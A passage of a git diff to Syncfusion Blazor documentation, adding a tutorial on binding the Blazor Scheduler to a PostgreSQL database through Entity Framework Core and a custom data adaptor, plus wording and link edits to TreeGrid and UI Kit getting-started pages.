+2. Import the required namespaces in the `Components/_Imports.razor` file:
+
+    
+    ```cshtml
+    @using BlazorSchedulerApp.Models
+    @using BlazorSchedulerApp.Services
+    @using Syncfusion.Blazor
+    @using Syncfusion.Blazor.Schedule
+    @using Syncfusion.Blazor.Data
+    ```
+
+3. Add the Syncfusion stylesheet and scripts in the `Components/App.razor` file. Find the `<head>` and `<body>`section to add:
+
+    
+    ```html
+    <head>
+        <!-- Syncfusion Blazor Stylesheet -->
+        <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.3.css" rel="stylesheet" />
+    </head>
+    <body>
+        <!-- Syncfusion Blazor Scripts -->
+        <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    </body>
+    ```
+
+#### Theme Options:
+
+- `bootstrap5.3.css` - Bootstrap 5.3 theme (used in this example)
+- `material3.css` - Material Design 3 theme
+- `fluent.css` - Microsoft Fluent Design theme
+- `tailwind3.css` - Tailwind CSS theme
+
+For this project, the **bootstrap5.3** theme is used. A different theme can be selected or the existing theme can be customized based on project requirements. Refer to the [Syncfusion Blazor Components Appearance documentation](https://blazor.syncfusion.com/documentation/appearance/themes) to learn more about theming and customization options.
+
+> **Critical**: The Syncfusion JavaScript file (`syncfusion-blazor.min.js`) is **REQUIRED** for Syncfusion components to work with InteractiveServer render mode. Without this script, you'll see JavaScript interop errors.
+
+Syncfusion components are now configured and ready to use. For additional guidance, refer to the [Scheduler component's getting-started documentation](https://blazor.syncfusion.com/documentation/scheduler/getting-started).
+
+### Step 2: Create and Apply Database Migrations
+
+Before creating the Scheduler component, generate Entity Framework Core migrations to create the database schema.
+
+#### Instructions:
+
+1. **use pgAdmin or psql to create database**:
+
+    ```sql
+    CREATE DATABASE "SchedulerEvents";
+    ```
+
+2. **Generate the migration**:
+
+    Open a terminal in the project directory and run:
+
+    ```bash
+    cd BlazorSchedulerApp
+    dotnet ef migrations add InitialCreate
+    ```
+
+    This creates three files in the `Migrations/` folder:
+    - `<timestamp>_InitialCreate.cs` - Contains Up() and Down() methods for schema changes
+    - `<timestamp>_InitialCreate.Designer.cs` - Migration metadata
+    - `ApplicationDbContextModelSnapshot.cs` - Current model state snapshot
+
+    > **Note**: The `<timestamp>` is automatically generated by EF Core based on the current date and time. Your files will have a different timestamp.
+
+3. **Apply the migration** to create tables in the database:
+
+    ```bash
+    dotnet ef database update
+    ```
+
+
+**What happens during update:**
+1. Connects to PostgreSQL using connection string from `appsettings.json`
+2. Creates `__EFMigrationsHistory` table to track applied migrations
+3. Executes the Up() method from InitialCreate migration
+4. Creates `Appointments` table with all columns and constraints
+
+    > **Note**: The "Failed executing DbCommand" message on first run is normal. It means the `__EFMigrationsHistory` table doesn't exist yet. EF Core will create it automatically.
+
+5. **Verify migration success** using pgAdmin or psql:
+
+    ```bash
+    psql -U postgres -d SchedulerEvents -c "\dt"
+    ```
+
+The database schema has been created successfully.
+
+### Step 3: Create the Scheduler Component
+
+The Scheduler component will display appointment data in a Syncfusion Blazor Scheduler with full CRUD (Create, Read, Update, Delete) capabilities and multiple calendar views.
+
+#### Instructions:
+
+1. Replace the contents of `Home.razor` in the `Components/Pages` folder with the following Blazor Scheduler component that provides full CRUD functionality.
+
+    [Home.razor]
+
+    ```cshtml
+    @page "/"
+    @rendermode InteractiveServer
+        
+    <PageTitle>Appointment Scheduler</PageTitle>
+        
+    <SfSchedule TValue="Appointment"
+                @ref="scheduleRef"
+                Height="650px"
+                @bind-SelectedDate="@currentDate"
+                @bind-CurrentView="@currentView"
+                ShowQuickInfo="true">
+        
+        <ScheduleViews>
+            <ScheduleView Option="View.Day"></ScheduleView>
+            <ScheduleView Option="View.Week"></ScheduleView>
+            <ScheduleView Option="View.WorkWeek"></ScheduleView>
+            <ScheduleView Option="View.Month"></ScheduleView>
+            <ScheduleView Option="View.Agenda"></ScheduleView>
+        </ScheduleViews>
+        
+        <ScheduleEventSettings TValue="Appointment">
+            <SfDataManager Adaptor="Adaptors.CustomAdaptor" AdaptorInstance="@typeof(CustomAdaptor)">
+            </SfDataManager>
+        </ScheduleEventSettings>
+        
+    </SfSchedule>
+        
+    @code {
+        private SfSchedule<Appointment>? scheduleRef;
+        private DateTime currentDate = DateTime.Today;
+        private View currentView = View.Week;
+        
+        public class CustomAdaptor : DataAdaptor
+        {
+            public override async Task<object> ReadAsync(DataManagerRequest dm, string? key = null)
+            {
+                if (AppServices.Root is null)
+                    throw new InvalidOperationException("AppServices.Root is not initialized. Ensure Program.cs sets it after building the app.");
+        
+                using var scope = AppServices.Root.CreateScope();
+                var svc = scope.ServiceProvider.GetRequiredService<AppointmentService>();
+        
+                var data = await svc.GetAllAppointmentsAsync();
+        
+                return dm.RequiresCounts
+                    ? new DataResult { Result = data, Count = data.Count }
+                    : (object)data;
+            }
+        
+            public override async Task<object> InsertAsync(DataManager mgr, object data, string key)
+            {
+                if (AppServices.Root is null)
+                    throw new InvalidOperationException("AppServices.Root is not initialized.");
+        
+                using var scope = AppServices.Root.CreateScope();
+                var svc = scope.ServiceProvider.GetRequiredService<AppointmentService>();
+        
+                var item = data as Appointment ?? throw new ArgumentException("InsertAsync received invalid data type.");
+                var created = await svc.CreateAppointmentAsync(item);
+                return created;
+            }
+        
+            public override async Task<object> UpdateAsync(DataManager mgr, object data, string keyField, string key)
+            {
+                if (AppServices.Root is null)
+                    throw new InvalidOperationException("AppServices.Root is not initialized.");
+        
+                using var scope = AppServices.Root.CreateScope();
+                var svc = scope.ServiceProvider.GetRequiredService<AppointmentService>();
+        
+                var item = data as Appointment ?? throw new ArgumentException("UpdateAsync received invalid data type.");
+                if (item.EndTime < item.StartTime)
+                    throw new ArgumentException("End time cannot be earlier than start time.");
+        
+                var updated = await svc.UpdateAppointmentAsync(item);
+                return updated;
+            }
+        
+            public override async Task<object> RemoveAsync(DataManager mgr, object data, string keyField, string key)
+            {
+                if (AppServices.Root is null)
+                    throw new InvalidOperationException("AppServices.Root is not initialized.");
+        
+                using var scope = AppServices.Root.CreateScope();
+                var svc = scope.ServiceProvider.GetRequiredService<AppointmentService>();
+        
+                int id;
+                if (data is int directId)
+                {
+                    id = directId;
+                }
+                else if (!int.TryParse(data?.ToString(), out id))
+                {
+                    throw new ArgumentException("RemoveAsync received invalid key value.");
+                }
+        
+                await svc.DeleteAppointmentAsync(id);
+                return data;
+            }
+        
+            public override async Task<object> BatchUpdateAsync(
+                DataManager mgr,
+                object changedRecords,
+                object addedRecords,
+                object deletedRecords,
+                string keyField,
+                string key,
+                int? dropIndex)
+            {
+                if (AppServices.Root is null)
+                    throw new InvalidOperationException("AppServices.Root is not initialized.");
+        
+                using var scope = AppServices.Root.CreateScope();
+                var svc = scope.ServiceProvider.GetRequiredService<AppointmentService>();
+        
+                var changed = (changedRecords as IEnumerable<object>)?.Cast<Appointment>()?.ToList() ?? new();
+                var added = (addedRecords as IEnumerable<object>)?.Cast<Appointment>()?.ToList() ?? new();
+                var deleted = (deletedRecords as IEnumerable<object>)?.Cast<Appointment>()?.ToList() ?? new();
+        
+                foreach (var a in changed)
+                    await svc.UpdateAppointmentAsync(a);
+        
+                foreach (var a in added)
+                    await svc.CreateAppointmentAsync(a);
+        
+                foreach (var a in deleted)
+                    await svc.DeleteAppointmentAsync(a.Id);
+        
+                var data = await svc.GetAllAppointmentsAsync();
+                return new DataResult { Result = data, Count = data.Count };
+            }
+        }
+    }
+    ```
+
+#### Component Explanation:
+
+- **`<SfSchedule>`**  
+  The main Scheduler component that displays appointments in calendar format and supports multiple view modes.
+
+- **`<ScheduleViews>`**  
+  Defines the list of calendar views (Day, Week, WorkWeek, Month, Agenda) available for selection.
+
+- **`<ScheduleEventSettings>`**  
+  Configures the appointment model, enables create/edit/delete actions, and connects the Scheduler to the data source.
+
+- **`<SfDataManager>`**  
+  Binds the Scheduler to the **CustomAdaptor**, which handles data communication.  
+  It enables automatic calls for Read, Insert, Update, and Delete operations.
+
+- **`CustomAdaptor`**  
+  A custom class derived from `DataAdaptor` that executes all database operations by using the `AppointmentService`.  
+  It handles `ReadAsync`, `InsertAsync`, `UpdateAsync`,`RemoveAsync`, and `BatchUpdateAsync`.
+
+
+#### Key Implementation Details:
+
+- **CustomAdaptor**: Handles all database operations (Read, Insert, Update, Delete) directly through EF Core  
+- **SfDataManager**: Automatically triggers the adaptor methods whenever the Scheduler performs an action  
+- **Scheduler UI**: Updates immediately, while the adaptor persists changes to PostgreSQL
+
+**Event Flow:**
+
+1. User creates, edits, or deletes an appointment in the Scheduler  
+2. **SfDataManager** detects the action and triggers the corresponding method in the **CustomAdaptor**  
+3. The Scheduler UI updates immediately without waiting for any database response  
+4. **CustomAdaptor** executes the required database operation (`InsertAsync`, `UpdateAsync`, `RemoveAsync`,and `BatchUpdateAsync`) through `AppointmentService`  
+5. After saving, the updated appointment data (including database-generated ID) is returned to the Scheduler for syncing
+``
+The Scheduler component has been created successfully.
+
+### Step 4: Build and Run the Application
+
+With the Scheduler component created and database configured, you're ready to run the application.
+
+#### Build the Application
+
+Ensure there are no compilation errors:
+
+```bash
+dotnet build
+```
+
+#### Run the Application
+
+Start the application:
+
+```bash
+dotnet run
+```
+
+Or use watch mode for automatic reload during development:
+
+```bash
+dotnet watch
+```
+
+
+#### Access the Scheduler
+
+The application will start on a port configured in `launchSettings.json` (typically `http://localhost:xxxx`).
+
+Open your browser and navigate to:
+```
+http://localhost:xxxx
+
+```
+
+
+> **Note**: Replace `xxxx` with the actual port number shown in the terminal output when the application starts.
+
+You can now perform CRUD operations on the scheduler:
+- **Create**: Click on a time slot or use the "+" button
+- **Edit**: Double-click an appointment or click and select "Edit"
+- **Delete**: Click an appointment and select "Delete"
+- **Drag & Drop**: Move appointments to different time slots
+- **Resize**: Extend or shorten appointment duration
+
+All operations are automatically saved to the PostgreSQL database.
+
+## Output Preview
+![Frontend Preview](./images/blazor-scheduler-postgresql-frontend.png)
+*Image illustrating the Syncfusion Blazor Scheduler*
+
+![Database Preview](./images/blazor-scheduler-postgresql-database.png)
+*Image illustrating the events of the Syncfusion Blazor Scheduler stored in PostgreSQL*
+
+## Complete Sample Repository
+
+A complete, working sample implementation is available in the [GitHub repository.](https://github.com/SyncfusionExamples/How-to-integrate-Syncfusion-Blazor-Scheduler-with-Postgre)
+
+## Troubleshooting
+
+### JavaScript Interop Errors
+
+**Error**: `Could not find 'sfBlazor.Toolbar.initialize'` or `'sfBlazor' was undefined`
+
+**Solution**: Add Syncfusion JavaScript file in `App.razor` before closing `</body>` tag:
+```html
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+```
+
+### Database Connection Failed
+
+**Error**: Cannot connect to PostgreSQL database
+
+**Solutions**:
+- Verify PostgreSQL service is running: `pg_ctl status`
+- Check connection string in `appsettings.json`
+- Ensure `SchedulerEvents` database exists
+- Confirm username and password are correct
+- Test connection using pgAdmin
+
+### Migration Errors
+
+**Error**: `dotnet ef database update` fails
+
+**Solutions**:
+- Ensure PostgreSQL is running and database exists
+- Verify user has CREATE TABLE permissions
+- Check password in connection string
+- Delete `Migrations` folder and run: `dotnet ef migrations add InitialCreate` (if corrupted)
+
+> **Note**: The error `relation "__EFMigrationsHistory" does not exist` on first run is normal.
+
+### Timezone Issues
+
+**Error**: Appointment times are incorrect (offset by several hours)
+
+**Solution**: Add this line at the top of `Program.cs`:
+```csharp
+AppContext.SetSwitch("Npgsql.EnableLegacyTimestampBehavior", true);
+```
+
+## Summary
+
+This documentation has demonstrated how to:
+
+1. Set up a PostgreSQL database and integrate it with Entity Framework Core  
+2. Create the `Appointment` data model and configure the `ApplicationDbContext`  
+3. Configure the PostgreSQL connection string in `appsettings.json`  
+4. Implement a service layer (`AppointmentService`) for all CRUD operations  
+5. Register Syncfusion, DbContext, and services in `Program.cs`  
+6. Build a Blazor Scheduler component connected through `SfDataManager`  
+7. Use a CustomAdaptor to handle all database persistence while keeping the Scheduler UI responsive
+
+The application now provides a professional appointment scheduling system with:
+- Multiple calendar views (Day, Week, Month, Agenda)
+- Full CRUD operations
+- Database persistence with PostgreSQL
+- Type-safe queries with Entity Framework Core
+- Responsive UI without page refreshes
+
+## Additional Resources
+
+- [Syncfusion Blazor Scheduler Documentation](https://blazor.syncfusion.com/documentation/scheduler/getting-started)
+- [Entity Framework Core Documentation](https://docs.microsoft.com/en-us/ef/core/)
+- [Npgsql Entity Framework Core Provider](https://www.npgsql.org/efcore/)
+- [PostgreSQL Documentation](https://www.postgresql.org/docs/)
+
+---
diff --git a/blazor/treegrid/paging.md b/blazor/treegrid/paging.md
index ec89dcd544..0d176e5132 100644
--- a/blazor/treegrid/paging.md
+++ b/blazor/treegrid/paging.md
@@ -326,7 +326,7 @@ namespace TreeGridComponent.Data {
 
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXVfCMMTzAVvikyC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5 %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLdDBLfVTTxAGqR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
 ## Pager with page size dropdown
 
diff --git a/blazor/treegrid/virtualization.md b/blazor/treegrid/virtualization.md
index 271e3aae89..686fee3a18 100644
--- a/blazor/treegrid/virtualization.md
+++ b/blazor/treegrid/virtualization.md
@@ -335,7 +335,7 @@ By default, the TreeGrid renders twice as many records as the defined height per
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVqCBiKKxvhUzUo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVHXBLThJiOQFnr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
 N> When the OverscanCount is set to 5, five buffer rows are rendered on the first and last pages. In between pages, a total of ten buffer rows (five before and five after) are rendered around the visible rows.
 
diff --git a/blazor/ui-kit/build-your-first-blazor-app-with-blocks.md b/blazor/ui-kit/build-your-first-blazor-app-with-blocks.md
index 4e58e57d52..08d6a30943 100644
--- a/blazor/ui-kit/build-your-first-blazor-app-with-blocks.md
+++ b/blazor/ui-kit/build-your-first-blazor-app-with-blocks.md
@@ -1,30 +1,30 @@
 ---
 layout: post
-title: Build your first Blazor app with UI Kit blocks | Syncfusion
-description: Build a Blazor Web App using blocks from the Essential UI Kit. Configure Tailwind or Bootstrap themes and add a Sign in block. Explore to more details.
+title: Build your first Blazor app with our blocks | Syncfusion
+description: Learn all about building your first Blazor app using our blocks from the Essential Blazor UI Kit in Syncfusion Essential Studio and more.
 platform: Blazor
 control: UI Kit
 documentation: ug
 ---
 
-# Build your first Blazor App with UI Kit blocks
+# Build your first Blazor App with our blocks
 
-This tutorial guides you through building a Blazor Web App using blocks from the Syncfusion Essential UI Kit for Blazor. It demonstrates how to create a new project, choose Tailwind CSS or Bootstrap 5.3 themes, and add a Sign in block. The goal is to help developers quickly build responsive, modern web apps using pre-built blocks with minimal effort.
+This tutorial guides you through building a Blazor Web App using Syncfusion's UI Kit blocks. It demonstrates how to set up a new Blazor Server project, choose between Tailwind CSS or Bootstrap 5.3 themes, and add a sign-in block in your application. The goal is to help developers quickly build responsive, modern web apps using a variety of prebuilt blocks with minimal effort.
 
 ## Create a new Blazor App
-A Blazor Web App is used for this example. To create a new app, follow the Microsoft setup guide [here](https://learn.microsoft.com/en-us/training/modules/build-your-first-blazor-web-app/3-exercise-configure-environment?pivots=vscode). This tutorial then walks through adding a simple Sign in block to the newly created app named **MyBlazorApp**.
+A Blazor Web App is used for this example. To create a new app, follow the official setup guide [here](https://learn.microsoft.com/en-us/training/modules/build-your-first-blazor-web-app/3-exercise-configure-environment?pivots=vscode). This tutorial then walks through the step-by-step process of adding a simple sign-in block to the newly created app, named **MyBlazorApp**.
 
 > This tutorial focuses on using Blazor Server rendering mode rather than Blazor WebAssembly.
 
 ![New Blazor App](images/new-blazor-app.png)
 
-## Set up Tailwind CSS or Bootstrap 5.3 theme
+## Setting up Tailwind CSS or Bootstrap 5.3 theme in the app
 
 After creating the new Blazor app named **MyBlazorApp**, open it in Visual Studio Code (which will be used throughout this walkthrough). The next step is to choose a theme, either Tailwind CSS or Bootstrap 5.3, in either light or dark mode, and configure the app accordingly.
 
 ### Tailwind CSS configuration
 
-If the **Tailwind CSS** theme is selected, follow these steps to configure it.
+If you choose **Tailwind CSS** theme, follow these steps to configure it.
 
 1. In **Components -> App.razor** file, add the following code for light mode (`class="light"`) and dark mode (`class="dark"`) in the `<html>` tag.
 
@@ -40,7 +40,7 @@ If the **Tailwind CSS** theme is selected, follow these steps to configure it.
     <html lang="en" class="dark">
     ```
 
-2. In the **Components -> App.razor** file, add the following scripts in the `<head>` tag. These scripts generate Tailwind CSS classes at runtime based on the styles used in the application and replace the primary color with a custom indigo palette. This CDN approach is suitable for demos; for production builds, integrate Tailwind via a build pipeline.
+2. In **Components -> App.razor** file, add the following scripts in the `<head>` tag. The main purpose of these scripts is to dynamically generate the appropriate Tailwind CSS classes at runtime based on the styles used in the application, and to replace the primary (highlight) color in the CSS with a custom indigo color palette.
 
     ```html
     <script src="https://cdn.tailwindcss.com"></script>
@@ -70,23 +70,23 @@ If the **Tailwind CSS** theme is selected, follow these steps to configure it.
       }
     </script>
     ```
-    > Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components use **Indigo** for light mode and **Cyan** for dark mode. To maintain a uniform appearance, adjust the primary color accordingly.
+    > The Syncfusion Blazor components uses **Indigo** for light mode and **Cyan** for dark mode. To maintain a uniform appearance, change the primary color accordingly.
 
-3. In the **Components -> App.razor** file, add the theme stylesheet CDN link for Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components in the `<head>` tag.
+3. In **Components -> App.razor** file, add the style oriented CDN link for Syncfusion Blazor components in the `<head>` tag.
 
    - For **light mode**:
 
      ```html
-     <link href="https://cdn.syncfusion.com/blazor/{{ site.blazorversion }}/styles/tailwind.css" rel="stylesheet"/>
+     <link href="https://cdn.syncfusion.com/blazor/29.1.33/styles/tailwind.css" rel="stylesheet"/>
      ```
 
    - For **dark mode**:
 
      ```html
-     <link href="https://cdn.syncfusion.com/blazor/{{ site.blazorversion }}/styles/tailwind.css" rel="stylesheet" />
+     <link href="https://cdn.syncfusion.com/blazor/29.1.33/styles/tailwind.css" rel="stylesheet" />
      ```
 
-4. **Optional**: To use the font icons prepared for **Tailwind CSS**, include the following CDN link:
+4. **OPTIONAL**: If you wish to use our font icons prepared for **Tailwind CSS**, you can include the following CDN link:
 
     ```html
     <link href="https://cdn.syncfusion.com/blazor/ui-kit/font-icons/tailwind-icons.css" rel="stylesheet" />
@@ -100,7 +100,7 @@ Now that the **Tailwind CSS** theme is configured for either light or dark mode
 
 ### Bootstrap 5.3 configuration
 
-If the **Bootstrap 5.3** theme is selected, follow these steps to configure it.
+If you choose **Bootstrap 5.3** theme, follow these steps to configure it.
 
 1. In **Components -> App.razor** file, add the following code for light mode (`data-bs-theme="light"`) and dark mode (`data-bs-theme="dark"`) in the `<html>` tag.
 
@@ -116,27 +116,27 @@ If the **Bootstrap 5.3** theme is selected, follow these steps to configure it.
     <html lang="en" data-bs-theme="dark">
     ```
 
-2. In the **Components -> App.razor** file, add the CDN link for the **Bootstrap 5.3** theme stylesheet in the `<head>` tag.
+2. In **Components -> App.razor**  file, add the style oriented CDN link for **Bootstrap 5.3** theme in the `<head>` tag.
 
      ```html
      <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" />
      ```
 
-3. In the **Components -> App.razor** file, add the theme stylesheet CDN link for Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components in the `<head>` tag.
+3. In **Components -> App.razor**  file, add the style oriented CDN link for Syncfusion Blazor components in the `<head>` tag.
 
    - For **light mode**:
 
      ```html
-     <link href="https://cdn.syncfusion.com/blazor/{{ site.blazorversion }}/styles/bootstrap5.3.css" rel="stylesheet">
+     <link href="https://cdn.syncfusion.com/blazor/29.1.33/styles/bootstrap5.3.css" rel="stylesheet">
      ```
 
    - For **dark mode**:
 
      ```html
-     <link href="https://cdn.syncfusion.com/blazor/{{ site.blazorversion }}/styles/bootstrap5.3-dark.css" rel="stylesheet" />
+     <link href="https://cdn.syncfusion.com/blazor/29.1.33/styles/bootstrap5.3-dark.css" rel="stylesheet" />
      ```
 
-4. **Optional**: To use the font icons prepared for **Bootstrap 5.3**, include the following CDN link:
+4. **OPTIONAL**: If you wish to use our font icons prepared for **Bootstrap 5.3**, you can include the following CDN link:
 
     ```html
     <link href="https://cdn.syncfusion.com/blazor/ui-kit/font-icons/bootstrap5.3-icons.css" rel="stylesheet" />
@@ -154,25 +154,26 @@ Now that **MyBlazorApp** is set up with the desired theme configuration, the nex
 
 ### Steps to explore and copy block code snippets from the online demo
 
-1. In the [online demo](https://blazor.syncfusion.com/essential-ui-kit), navigate to the **Authentication** category and select the **Sign in** block. This opens the corresponding demo page.
+1. In the [online demo](https://blazor.syncfusion.com/essential-ui-kit), navigate to the **Authentication** category and select the **Sign In** block. This will direct you to the appropriate demo page.
 
     ![Navigate to the sign-in block demo](images/navigate-to-the-sign-in-block-demo.png)
 
-2. On the demo page, open the first demo, which showcases a simple Sign in block. Choose the desired theme, then switch from the **Preview** tab to the **Code** tab.
+2. On the demo page, go to the first demo, which showcases a simple sign-in block. Choose the desired theme, then switch from the **Preview** tab to the **Code** tab.
 
     ![Choose Tailwind CSS or Bootstrap theme](images/choose-tailwind-or-bootstrap-theme.png)
 
-3. In the **Code** tab, copy the Razor (HTML) code using the **Copy to Clipboard** option and paste it into the **Components -> Pages -> Home.razor** file, replacing the default "Hello, world!" content.
+3. In the **Code** tab, copy the Razor (HTML) code using the **Copy to Clipboard** option and paste it into the **Components -> Pages -> Home.razor** file, replacing its content with the provided "Hello, world!" example.
 
     ![Copy HTML code snippet to clipboard](images/copy-HTML-code-snippet-to-clipboard.png)
 
 >  Ensure that you do not remove the `@page` directive and `<PageTitle>` element while replacing the content. These are essential for routing and setting the page title.
 
-4. If CSS is provided, copy the CSS code, create a new file **Components -> Pages -> Home.razor.css**, and paste the code into it. If C# code is provided, create a new file **Components -> Pages -> Home.razor.cs** and paste the code into it. Otherwise, ignore this step.
+
+4. If CSS is provided, copy the CSS code, create a new file **Components -> Pages -> Home.razor.css**, and paste the code into it. Similarly, if a C# code is provided, create a new file **Components -> Pages -> Home.razor.cs** and paste the C# code into it. Otherwise, you can ignore this step.
 
 ### Steps to explore and copy block code snippets from the GitHub source
 
-1. After [downloading](https://github.com/syncfusion/essential-ui-kit-for-blazor) and opening the source in Visual Studio Code, navigate to **Components -> Pages -> BlocksSection**.
+1. On [downloading](https://github.com/syncfusion/essential-ui-kit-for-blazor) and opening the GitHub source in Visual Studio Code, navigate to the following folder: **Components -> Pages -> BlocksSection**.
 
     ![Downloaded GitHub app in Visual Studio Code](images/downloaded-github-app-in-visual-studio-code.png)
 
@@ -186,33 +187,33 @@ Now that **MyBlazorApp** is set up with the desired theme configuration, the nex
 > 1. In the Razor file, the **Tailwind CSS** and **Bootstrap 5.3** design code is placed in their respective if-else statements. You can copy and paste as per your requirement.
 > 2. Ignore the code within the **"SB Code - Start"** and **"SB Code - End"** comments, as it is intended solely for sample browser purposes.
 
-## Steps to install and configure Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components
+## Steps to install and configure Syncfusion Blazor components
 
-While copying and pasting the Razor code, note that Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are used. To incorporate them into **MyBlazorApp**, install the necessary packages and import the corresponding namespaces in **Components -> _Imports.razor** so the app can compile and run.
+While copying and pasting the Razor (HTML) code, you'll notice that Syncfusion Blazor components are used. To incorporate them into **MyBlazorApp**, install the necessary packages and import the corresponding namespaces to the **Components -> _Imports.razor** file for the app to run.
 
-In the simple sign-in block, components such as textbox, checkbox and button are used. After copying and pasting Razor (HTML) code into the Razor file, open the **MyBlazorApp.csproj** file and add the required nuget packages: `Syncfusion.Blazor.Buttons` and `Syncfusion.Blazor.Inputs`. For more details about other Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor component packages, refer to this [link](https://www.nuget.org/packages?q=Syncfusion.Blazor)
+In the simple sign-in block, components such as textbox, checkbox and button are used. After copying and pasting Razor (HTML) code into the Razor file, open the **MyBlazorApp.csproj** file and add the required nuget packages: `Syncfusion.Blazor.Buttons` and `Syncfusion.Blazor.Inputs`. For more details about other Syncfusion Blazor component packages, refer to this [link](https://www.nuget.org/packages?q=Syncfusion.Blazor)
 
 ![Adding required packages for Syncfusion components](images/adding-required-packages-for-syncfusion-components.png)
 
-After the packages are added, run the following command in the terminal to install them.
+Once the necessary packages are added, run the following command via the terminal to install those packages.
 
 ```bash
 dotnet restore
 ```
 
-After restoring the packages, import the required namespaces `Syncfusion.Blazor.Buttons` and `Syncfusion.Blazor.Inputs` in **Components -> _Imports.razor** to enable Syncfusion<sup style="font-size:70%">&reg;</sup> components in the application.
+After restoring the packages, import the required namespaces `Syncfusion.Blazor.Buttons` and `Syncfusion.Blazor.Inputs` in the _Imports.razor file to enable Syncfusion components in the application.
 
 ![Importing Syncfusion Namespaces](images/import-syncfusion-namespaces.png)
 
-Finally, revisit the [online demo](https://blazor.syncfusion.com/essential-ui-kit) or the [GitHub repository](https://github.com/syncfusion/essential-ui-kit-for-blazor) and copy the required Razor (HTML) code for the simple Sign in block into your app as outlined above.
+Finally, again check the [online demo](https://blazor.syncfusion.com/essential-ui-kit) or the [GitHub repository](https://github.com/syncfusion/essential-ui-kit-for-blazor) and copy the required Razor (HTML) code for the simple sign-in block into your app as outlined in the previous topic.
 
 ## Steps to download and add assets to the app
 
-To use the images from the design, download the **assets** folder from the [GitHub repository](https://github.com/syncfusion/essential-ui-kit-for-blazor/tree/master/UI_Blocks/wwwroot/assets), place it inside the **wwwroot** folder of **MyBlazorApp**, and update image URLs in the Razor (HTML) file if necessary.
+If you want to view and experience the images used in our design, you can download the **assets** folder from the following [GitHub repository](https://github.com/syncfusion/essential-ui-kit-for-blazor/tree/master/UI_Blocks/wwwroot/assets), place it inside the **wwwroot** folder of **MyBlazorApp**, and modify the image URLs in the Razor (HTML) if necessary.
 
 ## Steps to run the app
 
-With **MyBlazorApp** set up—including Razor markup, CSS (if applicable), C# (if applicable), and and assets (optional) — you can build and run the app. Run the following command in the terminal; a localhost URL will be provided by the Blazor development server.
+Now that everything is set up in **MyBlazorApp** — including the Razor (HTML), CSS (if applicable), C# (if applicable), and assets (optional) — you are ready to build and launch the app. Type the following command in the terminal, and you will see a localhost URL provided by the Blazor development server.
 
 ```bash
 dotnet run
@@ -220,6 +221,6 @@ dotnet run
 
 ![Build and launch the app](images/build-and-launch-the-app.png)
 
-To view the app in a browser, **Ctrl+click** (or **Cmd+click** on macOS) the localhost URL displayed in the terminal. This opens the app in the default browser and displays the simple Sign in block.
+To view the app in your browser, simply **Ctrl + Click** (or **Cmd + Click** on macOS) on the localhost URL displayed in the terminal. This will open the app in your default browser, allowing you to view and experience the simple sign-in block.
 
 ![View the app in the browser using the localhost URL](images/view-the-app-in-the-browser-using-the-localhost-URL.png)
diff --git a/blazor/ui-kit/getting-started.md b/blazor/ui-kit/getting-started.md
index 6c3166ac2e..9b993a9df7 100644
--- a/blazor/ui-kit/getting-started.md
+++ b/blazor/ui-kit/getting-started.md
@@ -1,20 +1,20 @@
 ---
 layout: post
-title: Get started with the Essential UI Kit for Blazor | Syncfusion
-description: Learn here about how to set up the Essential UI Kit for Blazor from GitHub or try the online demo, including prerequisites and license key registration.
+title: Getting Started with Essential UI Kit for Blazor | Syncfusion
+description: Checkout and learn about getting started with the Essential UI Kit for Blazor in Syncfusion Essential Studio, along with more details.
 platform: Blazor
 control: UI Kit
 documentation: ug
 ---
 
-# Getting started with the Essential UI Kit for Blazor
+# Getting Started with Essential UI Kit for Blazor
 
-Use either of the following options to explore the Essential UI Kit for Blazor:
+Follow the steps below to get started with Essential UI Kit for Blazor. You can begin in one of two ways:
 
 - **Download the App from GitHub**: Get the full free source code and run the app locally to explore the blocks.
 - **View the Online Demo**: Alternatively, you can try out the blocks directly through the online demo to see them in action without needing to download anything.
 
-## Get started by downloading the app from GitHub
+## Get Started by Downloading the App from GitHub
 
 ### Step 1: Download and Open the App in Visual Studio Code
 
@@ -22,50 +22,49 @@ Download the app from the GitHub [link](https://github.com/syncfusion/essential-
 
 ![Launching the downloaded app](images/launching-the-downloaded-app.png)
 
-### Step 2: Open a new terminal
+### Step 2: Open a New Terminal
 
 In Visual Studio Code, go to the **Terminal** menu and select **New Terminal** to open the integrated terminal.
 
-![Open a new terminal in Visual Studio Code](images/opening-a-new-terminal.png)
+![Opening a new terminal](images/opening-a-new-terminal.png)
 
 ### Step 3: Install Dependencies and Run the App
+Run the following commands one after the other in the terminal:
 
-Run the following commands in the terminal (PowerShell on Windows):
+1. **Restore dependencies**  
+   Run the command below to install all necessary packages related to the blocks, the Syncfusion Blazor components, and the sample browser.
 
-1. Restore dependencies
+    ```bash
+    dotnet restore
+    ```
 
-```bash
-dotnet restore
-```
+    This will download and install all the dependencies listed in the **.csproj** file.
 
-Restores the packages referenced in the project file. Note: dotnet run also performs an implicit restore if needed.
+2. **Serve the App Locally**  
+    Once the dependencies are installed, you can run the app locally by starting the Blazor development server. To do so, run the following command.
+    
+    ```bash
+    dotnet run
+    ```
 
-2. Serve the app locally
+    This command will start the local development server, and you'll see an output in the terminal indicating the app is running. Typically, it will display a local host URL like this:
 
-Once the dependencies are installed, you can run the app locally by starting the Blazor development server. To do so, run the following command.
+    ![Local development server running](images/local-development-server-running.png)
 
-```bash
-dotnet run
-```
